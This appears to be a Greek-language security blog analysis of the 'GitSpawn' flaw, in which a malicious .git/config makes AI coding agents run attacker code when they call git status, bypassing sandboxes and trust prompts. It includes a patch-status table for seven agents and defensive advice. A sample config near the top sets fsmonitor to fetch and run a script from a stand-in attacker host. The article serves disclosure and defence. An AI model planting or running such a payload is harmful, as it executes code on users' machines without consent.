thedarkmonster Dossier 041 · 15.09.2026
Ενεργό · μερικώς διορθωμένο Agent Exploit Patterns Ανάλυση

Το repository που εκτελεί κώδικα πριν ξυπνήσει το AI

Η ευπάθεια GitSpawn δεν χτυπά το μοντέλο. Χτυπά τη στιγμή που ο agent τρέχει ένα αθώο git status για να καταλάβει πού βρίσκεται. Οκτώ ευρήματα σε επτά AI coding agents, και στις 1 Σεπτεμβρίου τέσσερα ήταν ακόμα εκμεταλλεύσιμα. Χωρίς prompt, χωρίς έγκριση εργαλείου, έξω από το sandbox.

Η ουσία σε 5 γραμμές Manifold Security · 02.09.2026
  • Ένα κακόβουλο .git/config ορίζει την νόμιμη ρύθμιση core.fsmonitor ώστε να δείχνει σε εντολή του επιτιθέμενου.
  • Οι AI coding agents τρέχουν στην εκκίνηση git status και git diff για context. Το Git ανανεώνει το index του και εκτελεί την εντολή.
  • Ο κώδικας τρέχει με τα δικαιώματα του χρήστη, έξω από το sandbox, χωρίς κανένα prompt έγκρισης.
  • Επηρεάζονται 7 agents: Claude Code, Codex, Cursor, Goose, Qwen Code, Grok Build, Hermes Agent.
  • Δεν δουλεύει με απλό git clone. Χρειάζεται το .git άθικτο: zip, shared drive, sync folder, USB.

01Η ευπάθεια δεν είναι στο μοντέλο

Όλη η συζήτηση γύρω από την ασφάλεια των AI agents τα τελευταία δύο χρόνια έχει κολλήσει σε ένα σημείο: πώς πείθουμε το μοντέλο να μην κάνει κάτι κακό. Prompt injection, jailbreaks, guardrails, alignment. Το GitSpawn είναι ενδιαφέρον επειδή παρακάμπτει τελείως αυτή τη συζήτηση.

Δεν υπάρχει prompt. Δεν υπάρχει κλήση στο μοντέλο. Δεν υπάρχει tool call που θα μπορούσε να εγκριθεί ή να απορριφθεί. Όπως το περιγράφει η Manifold Security στο advisory της, η ευπάθεια βρίσκεται στο subprocess που ξεκινά ο agent στην εκκίνηση του session για να καταλάβει πού βρίσκεται.

Με άλλα λόγια: ο agent δεν προλαβαίνει καν να σκεφτεί. Έχει ήδη χάσει.

«Τρέχοντας goose review μέσα σε κακόβουλο repo εκτελείται κώδικας του επιτιθέμενου. Χωρίς prompt, χωρίς κλήση μοντέλου, χωρίς έγκριση εργαλείου, χωρίς trust prompt.»

Manifold Security, advisory GitSpawn

02Τι είναι το core.fsmonitor

Το Git έχει ένα πρακτικό πρόβλημα σε μεγάλα repositories: κάθε φορά που θέλει να ξέρει τι άλλαξε, πρέπει να διατρέξει το filesystem. Σε repo με εκατοντάδες χιλιάδες αρχεία αυτό είναι αργό.

Η λύση είναι το core.fsmonitor. Είναι μια ρύθμιση επίδοσης, εντελώς νόμιμη, που δηλώνει ένα βοηθητικό πρόγραμμα: το Git το καλεί κάθε φορά που ανανεώνει το index του, και εκείνο του λέει ποια αρχεία άλλαξαν. Γλιτώνει το σκανάρισμα.

Το κλειδί είναι εκείνη η λέξη: πρόγραμμα. Η ρύθμιση δεν είναι δεδομένο. Είναι εντολή. Και ζει μέσα στο .git/config του repository, δηλαδή σε αρχείο που ταξιδεύει μαζί με τον κώδικα.

.git/config · κακόβουλο payload
# Μοιάζει με ρύθμιση επίδοσης. Είναι εκτέλεση κώδικα.
[core]
    repositoryformatversion = 0
    filemode = true
    fsmonitor = "sh -c 'curl -s https://attacker.tld/x | sh'"

# Ο agent τρέχει: git status
# Το Git ανανεώνει το index -> καλεί τον fsmonitor helper
# Ο helper είναι το shell του επιτιθέμενου.
#
# Δικαιώματα: του χρήστη. Sandbox: κανένα. Prompt: κανένα.

03Η αλυσίδα, βήμα βήμα

Το σενάριο δεν απαιτεί εξωτικές συνθήκες. Απαιτεί κάποιον να σου στείλει έναν φάκελο.

  1. Το repo φτάνει ως αρχεία, όχι ως clone

    Zip από συνάδελφο, shared drive, φάκελος συγχρονισμού, USB stick. Οτιδήποτε διατηρεί τον κατάλογο .git άθικτο. Ένα κανονικό git clone δεν μεταφέρει το τοπικό config της πηγής, οπότε δεν δουλεύει.

  2. Ανοίγεις τον φάκελο με τον agent

    Δεν γράφεις prompt. Δεν ζητάς τίποτα. Απλώς ξεκινάς session μέσα στον κατάλογο.

  3. Ο agent μαζεύει context

    Κάθε σοβαρός coding agent τρέχει background εντολές στην εκκίνηση για να καταλάβει το project: git status, git diff, branch, uncommitted αλλαγές.

  4. Το Git διαβάζει το config του repo και εκτελεί

    Το fsmonitor καλείται. Ο κώδικας του επιτιθέμενου τρέχει με τα δικαιώματα του λογαριασμού σου: μπορεί να διαβάσει, να αλλάξει ή να σβήσει αρχεία και να φτάσει σε ό,τι έχει πρόσβαση ο χρήστης.

    Έξω από το sandbox του agent
  5. Το trust prompt εμφανίζεται μετά

    Σε Claude Code και Hermes Agent το payload πυροδοτείται πριν αποδεχτείς το workspace-trust prompt. Σε Qwen Code, πριν κάνεις καν authenticate. Σε Grok Build, στο πρώτο πάτημα πλήκτρου.

    Η έγκριση φτάνει αφού έχει τρέξει ο κώδικας

04Ποιοι agents, σε ποια κατάσταση

Η Manifold τεκμηρίωσε οκτώ ευρήματα σε επτά agents και τα επανέλεγξε την 1η Σεπτεμβρίου 2026, μια μέρα πριν τη δημοσιοποίηση. Η εικόνα δεν είναι ενιαία: κάποιοι vendors έκλεισαν το θέμα σε μέρες, άλλοι δεν απάντησαν καθόλου.

Κατάσταση στον επανέλεγχο · 01.09.2026
AgentΕκδόσειςΚατάστασηΣημείωση
Claude CodeAnthropic 2.1.252
(τρέχουσα 2.1.258)
Ανοιχτό Δεύτερη διαδρομή μέσω claude ultrareview, με άλλο Git config key που η Manifold δεν αποκάλυψε.
Qwen CodeAlibaba 0.19.6 · 0.22.3 Ανοιχτό Το payload τρέχει πριν ο χρήστης κάνει authenticate. Έγινε αποδεκτό από την Alibaba, fix σε εκκρεμότητα.
Grok BuildxAI 0.2.93 · 1.0.13 Ανοιχτό Πυροδότηση στο πρώτο πάτημα πλήκτρου. Fix σε εκκρεμότητα.
Hermes AgentHermes 0.18.2 · 0.21.0 Ανοιχτό Οι maintainers δεν απάντησαν επίσημα στην αναφορά.
Claude CodeAnthropic · διαδρομή fsmonitor 2.1.193 → 2.1.196 Διορθώθηκε Αναφορά 26 Ιουνίου, fix 29 Ιουνίου. Το ticket έκλεισε ως duplicate εσωτερικής αναφοράς της ίδιας μέρας.
CodexOpenAI · CLI + Desktop < 0.131.0 → 0.131.0
(τρέχουσα 0.152.1)
Διορθώθηκε CVE-2026-19592 (CLI) και CVE-2026-19593 (Desktop). Εγκαταστάσεις καρφωμένες κάτω από 0.131.0 παραμένουν εκτεθειμένες.
CursorAnysphere σειρά 26.x Διορθώθηκε CVSS 4.0 base score 7.0. Η Manifold είχε τεκμηριώσει την ίδια κλάση στο Cursor CLI τρεις εβδομάδες πριν.
GooseBlock < 1.44.0 → 1.44.0 Διορθώθηκε Οι maintainers ζήτησαν παράταση και έκλεισαν το θέμα σε περίπου έναν μήνα.

Κανένα αποτέλεσμα για αυτό το φίλτρο.

Οι εκδόσεις αποτυπώνουν την κατάσταση στη δημοσιοποίηση. Έλεγξε πάντα το τρέχον release notes του εργαλείου σου: η εικόνα αλλάζει.

Το μοτίβο των απαντήσεων λέει τη δική του ιστορία

Η Goose ζήτησε παράταση και έκλεισε το θέμα σε έναν μήνα. Η OpenAI τυποποίησε δύο CWEs για CLI και desktop clients και κινήθηκε γρήγορα. Η Anthropic έκλεισε την αναφορά ως duplicate χωρίς να επιβεβαιώσει shipped fix, και μια δεύτερη διαδρομή έμεινε ανοιχτή. Οι maintainers του Hermes Agent δεν απάντησαν καθόλου.

Τέσσερις διαφορετικές κουλτούρες disclosure στο ίδιο εύρημα. Αν διαλέγεις agent για ομάδα, αυτό το μοτίβο είναι πιο χρήσιμο πληροφορία από κάθε benchmark.

05Δεν είναι bug. Είναι κατηγορία.

Εδώ γίνεται σοβαρό. Το GitSpawn δεν είναι μεμονωμένο περιστατικό. Επτά εβδομάδες πριν, η Wiz Research δημοσίευσε το GhostApproval: μια μηχανικά διαφορετική αλλά εννοιολογικά συγγενής επίθεση εναντίον έξι AI coding agents, με σημαντική επικάλυψη στη λίστα (Amazon Q Developer, Claude Code, Augment, Cursor, Google Antigravity, Windsurf).

Το GhostApproval εκμεταλλεύεται την επίλυση symlink: κάνει τον agent να γράψει σε αρχείο που ο χρήστης δεν ενέκρινε ποτέ, ενώ το παράθυρο επιβεβαίωσης δείχνει άλλη, νόμιμη διαδρομή. Το GitSpawn εκμεταλλεύεται μια άλλη υπόθεση εμπιστοσύνης: ότι το config ενός repository μπορεί να διαβαστεί για context χωρίς να εκτελεστεί κάτι επικίνδυνο.

Πρόσθεσε και τα προγενέστερα ευρήματα των Sonar και Adversa γύρω από trust dialogs, και το συμπέρασμα του Cloud Security Alliance γίνεται δύσκολο να αγνοηθεί: πρόκειται για διαρκή κατηγορία κινδύνου, την υπόρρητη εμπιστοσύνη σε μεταδεδομένα που προμηθεύει το repository, και όχι για σειρά ασύνδετων bugs.

Χτίσαμε εργαλεία που διαβάζουν τον χώρο εργασίας για να καταλάβουν το πλαίσιο, και ξεχάσαμε ότι ο χώρος εργασίας μπορεί να ανήκει στον επιτιθέμενο.

Το πραγματικό δίδαγμα

Το κενό της παρακολούθησης

Καμία πηγή δεν αναφέρει εκμετάλλευση στη φύση. Ο έλεγχος στον κατάλογο Known Exploited Vulnerabilities της CISA στις 2 Σεπτεμβρίου (έκδοση 2026.09.01, 1.687 καταχωρήσεις) δεν βρήκε κανένα από τα CVEs.

Αυτό είναι καθησυχαστικό μόνο επιφανειακά. Η επίθεση δεν αφήνει προφανή ίχνη: μοιάζει με τον agent σου να τρέχει μια εντολή Git, επειδή αυτό ακριβώς είναι. Η απουσία καταγεγραμμένης εκμετάλλευσης σε μια κλάση που δεν παρακολουθείται ενεργά δεν είναι το ίδιο με απουσία εκμετάλλευσης.

06Τι κάνεις σήμερα

Πρακτικά και με σειρά προτεραιότητας.

  • Πάντα clone, ποτέ αντιγραφή φακέλου

    Το git clone δεν μεταφέρει το τοπικό config της πηγής. Αυτή μόνη η συνήθεια εξουδετερώνει ολόκληρη την αλυσίδα. Αν λάβεις zip ή φάκελο, σβήσε το .git και ξεκίνα καθαρό repo.

  • Έλεγξε το config πριν ανοίξεις τον agent

    Τρέξε git config --local --list σε κάθε repo εξωτερικής προέλευσης. Ψάξε fsmonitor, hooks και οτιδήποτε ονομάζει εκτελέσιμο. Κάνε το από terminal, όχι από τον agent.

  • Ανέβασε εκδόσεις, ειδικά τις καρφωμένες

    Codex CLI κάτω από 0.131.0, Goose κάτω από 1.44.0, Claude Code κάτω από 2.1.196. Τα pinned installs σε CI είναι το πιο συχνά ξεχασμένο σημείο.

  • Χώρισε το intake από το περιβάλλον εργασίας

    Ξένος κώδικας ανοίγει πρώτα σε container ή VM χωρίς credentials, χωρίς SSH keys, χωρίς πρόσβαση στο cloud σου. Ο agent μπαίνει μετά.

  • Μη βασίζεσαι στο trust prompt

    Σε τέσσερις από τις τεκμηριωμένες περιπτώσεις ο κώδικας έτρεξε πριν εμφανιστεί ή αφού είχε ήδη πυροδοτηθεί. Το prompt δεν είναι όριο ασφαλείας εδώ.

Και ένα ερώτημα που μένει

Η δεύτερη διαδρομή στο Claude Code, μέσω claude ultrareview, ενεργοποιεί διαφορετικό Git config key που η Manifold επέλεξε να μην αποκαλύψει. Επιβεβαιώθηκε ζωντανή στην 2.1.252 την 1η Σεπτεμβρίου, με τρέχουσα έκδοση την 2.1.258. Καμία πηγή δεν διευκρινίζει αν τα επόμενα releases την έκλεισαν.

Αν τρέχεις Claude Code σε περιβάλλον όπου φτάνει εξωτερικός κώδικας, θεώρησέ το ανοιχτό μέχρι να δεις το αντίθετο γραμμένο σε changelog.

FAQΣυχνές Ερωτήσεις

Επηρεάζεται το εργαλείο που χρησιμοποιώ;

Οκτώ ευρήματα σε επτά agents: Claude Code, Codex, Cursor, Goose, Qwen Code, Grok Build και Hermes Agent. Στις 1 Σεπτεμβρίου 2026 τέσσερα παρέμεναν ανοιχτά (Claude Code δεύτερη διαδρομή, Qwen Code, Grok Build, Hermes Agent). Έλεγξε τα release notes του εργαλείου σου.

Με προστατεύει το git clone;

Ναι — το git clone δεν μεταφέρει το τοπικό config (.git/config) της πηγής, οπότε η κακόβουλη ρύθμιση fsmonitor δεν ταξιδεύει. Η επίθεση απαιτεί zip, shared drive, sync folder ή USB με άθικτο κατάλογο .git.

Τι πρέπει να κάνω αν έλαβα repo ως zip;

Σβήσε τον κατάλογο .git και ξεκίνα καθαρό repo, ή τουλάχιστον τρέξε git config --local --list από terminal (όχι μέσω agent) και έλεγξε για fsmonitor, core.hooksPath και οτιδήποτε ονομάζει εκτελέσιμο.

Είναι διορθωμένο σήμερα;

Οι Codex (0.131.0), Goose (1.44.0), Cursor (σειρά 26.x) και Claude Code fsmonitor path (2.1.196) διορθώθηκαν. Η δεύτερη διαδρομή στο Claude Code (claude ultrareview) παρέμενε ανοιχτή στον επανέλεγχο — θεώρησέ την ανοιχτή μέχρι changelog που την αναφέρει. Τα pinned installs κάτω από αυτές τις εκδόσεις παραμένουν εκτεθειμένα.

Γιατί δεν είναι στον κατάλογο KEV της CISA;

Ο έλεγχος στις 2 Σεπτεμβρίου 2026 (1.687 καταχωρήσεις) δεν βρήκε κανένα από τα CVEs. Η επίθεση δεν αφήνει προφανή ίχνη — μοιάζει με κανονική εντολή Git — οπότε η απουσία καταγραφής σε κλάση που δεν παρακολουθείται ενεργά δεν σημαίνει απουσία εκμετάλλευσης.

Πηγές & Διαφάνεια
  1. Manifold Security, advisory GitSpawn, δημοσιοποίηση 2 Σεπτεμβρίου 2026, επανέλεγχος 1 Σεπτεμβρίου 2026.
  2. The Hacker News — επίσημη σελίδα · κάλυψη του ευρήματος (02.09.2026).
  3. Cloud Security Alliance — επίσημη σελίδα · research note για το GitSpawn (04.09.2026).
  4. OpenAI — επίσημη σελίδα · security advisories CVE-2026-19592 (Codex CLI) και CVE-2026-19593 (Codex Desktop).
  5. Anthropic — επίσημη σελίδα · security advisory CVE-2026-55607, εκτέλεση git fsmonitor κατά τη διάρκεια worktree operations, Ιούνιος 2026.
  6. Wiz — επίσημη σελίδα · Wiz Research, GhostApproval, symlink resolution σε έξι AI coding agents, Ιούλιος 2026.
  7. Git — επίσημη τεκμηρίωση (core.fsmonitor).

Διαφάνεια: Οι συγκεκριμένες διευθύνσεις των news δεν αναγράφονται εδώ — επαλήθευσε πάντα στις επίσημες σελίδες και στα vendor advisories. Οι εκδόσεις και καταστάσεις στον πίνακα αποτυπώνουν την κατάσταση στη δημοσιοποίηση (02.09.2026) και μπορεί να έχουν αλλάξει — έλεγξε πάντα τα τρέχοντα release notes.

Εξερεύνησε ανά θέμα

Artificial Intelligence Cybersecurity & Privacy Networks & Cloud Quantum Computing Biotech & MedTech Web3 & Blockchain Greek Tech Ecosystem
Πίσω στην Αρχική